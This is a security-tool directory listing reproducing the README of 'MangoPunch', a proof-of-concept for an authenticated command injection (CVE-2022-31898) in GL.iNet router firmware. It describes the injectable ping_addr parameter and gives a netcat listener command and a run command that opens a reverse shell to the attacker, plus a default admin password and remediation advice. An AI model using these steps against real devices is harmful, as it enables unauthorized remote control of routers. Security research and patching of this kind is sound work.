Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
MangoPunch-CVE-2022-31898 — Authenticated Command Injection Tool (CVE-2022-31898) - HACKCONRD 2026. | Kitploit
Tools/GitHubGitHub/cryptoghost1/mangopunch-cve-2022-31898
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubcryptoghost1/mangopunch-cve-2022-31898

MangoPunch-CVE-2022-31898

Authenticated Command Injection Tool (CVE-2022-31898) - HACKCONRD 2026.

View Repository
16 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🥭 MangoPunch: CVE-2022-31898

Authenticated OS Command Injection for GL.iNet Devices

Python CVE Security

root@kitploit:~
 __  __                         _____                 _     
|  \/  |                       |  __ \               | |    
| \  / | __ _ _ __   __ _  ___ | |__) |   _ _ __   ___| |__  
| |\/| |/ _` | '_ \ / _` |/ _ \|  ___/ | | | '_ \ / __| '_ \ 
| |  | | (_| | | | | (_| | (_) | |   | |_| | | | | (__| | | |
|_|  |_|\__,_|_| |_|\__, |\___/|_|    \__,_|_| |_|\___|_| |_|
                     __/ |                                   
                    |___/

🔍 Vulnerability Overview

This repository contains a technical Proof of Concept (PoC) for a Remote Command Execution (RCE) vulnerability found in the GL.iNet MT300N-V2 (Mango) and other models running firmware versions below 3.215.

The flaw exists in the ping_addr parameter of the diagnostic API, allowing an authenticated attacker to execute arbitrary system commands via shell metacharacters (;).

🚀 Execution Guide

1. Prepare your Listener

Open a terminal in your attacker machine (Kali Linux) and start a Netcat listener:

root@kitploit:~
nc -lvnp 9292

2. Run the Exploit

Use the following command to trigger the reverse shell:

root@kitploit:~
python3 mangopunch.py -R <TARGET_IP> -L <YOUR_IP> -l <YOUR_LISTERNER_PORT> -p <PASSWORD>

🛠️ Script Parameters

FlagFull NameDescriptionDefault
-R--rhostRemote Target IP (Router)Required
-P--rportWeb Management Port443
-L--lhostListener IP (Kali/Attacker)Required
-l--lportListener PortRequired
-p--pwdAdmin Passwordgoodlife
-t--httpsEnable HTTPSFalse

🛡️ Remediation

  • Update Firmware: Ensure your device is running version 3.215 or higher.
  • Input Validation: Developers should implement strict Regex validation for IP/Hostname parameters and avoid shell-invoking functions that pass raw strings to the OS.

Disclaimer: This tool is for educational and authorized security testing purposes only. The author is not responsible for any misuse. MangoPunch: CVE-2022-31898

Download Tool